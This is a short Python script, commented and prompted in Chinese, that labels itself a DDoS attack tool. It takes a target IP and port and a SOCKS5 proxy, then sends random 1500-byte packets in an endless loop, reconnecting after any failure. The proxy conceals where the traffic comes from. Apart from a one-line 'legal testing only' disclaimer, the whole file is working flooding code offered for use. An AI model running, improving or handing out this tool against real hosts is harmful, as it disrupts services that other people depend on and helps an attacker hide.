import os
import time
import socket
from datetime import datetime
import socks

class Color:
    # ANSI 转义序列，用于设置文本颜色
    YELLOW = '\033[93m'

# 获取当前时间
now = datetime.now()

# 打印欢迎信息和警告
print(f"{Color.YELLOW}现在时间: {now}")
print("---------------------------------------")
print(f"DDoS 攻击工具")
print("---------------------------------------")
print("注意：请仅用于合法测试目的！")
print("---------------------------------------")

# 输入代理服务器地址和端口号
proxy_host = input("请输入代理服务器地址（格式：IP地址或域名）: ")
proxy_port = int(input("请输入代理服务器端口号（格式：数字）: "))

try:
    proxy_port = int(proxy_port)
except ValueError:
    print("错误：端口号必须为整数，请重新运行程序并输入正确的端口号。")
    exit()

# 创建带有代理支持的 socket 对象
sock = socks.socksocket()
sock.set_proxy(socks.SOCKS5, proxy_host, proxy_port)

# 输入攻击目标信息
target_ip = input("请输入目标 IP 地址: ")
target_port = int(input("目标端口号: "))
attack_speed = int(input("攻击速度 (1~1000): "))

# 连接到目标地址和端口
sock.connect((target_ip, target_port))

sent_packets = 0

try:
    while True:
        try:
            sock.send(os.urandom(1500))  # 发送数据包
            sent_packets += 1
            print(f"已发送 {sent_packets} 个数据包到 {target_ip} 端口 {target_port}")
            time.sleep((1000 - attack_speed) / 2000)
        except Exception as e:
            print(f"发送数据包时出现异常，重新连接中..... error信息:: {e}")
            sock.close()  # 关闭异常连接
            time.sleep(1)  # 等待一段时间
            sock = socks.socksocket()
            sock.set_proxy(socks.SOCKS5, proxy_host, proxy_port)
            sock.connect((target_ip, target_port))
except KeyboardInterrupt:
    print("\n攻击已停止。")
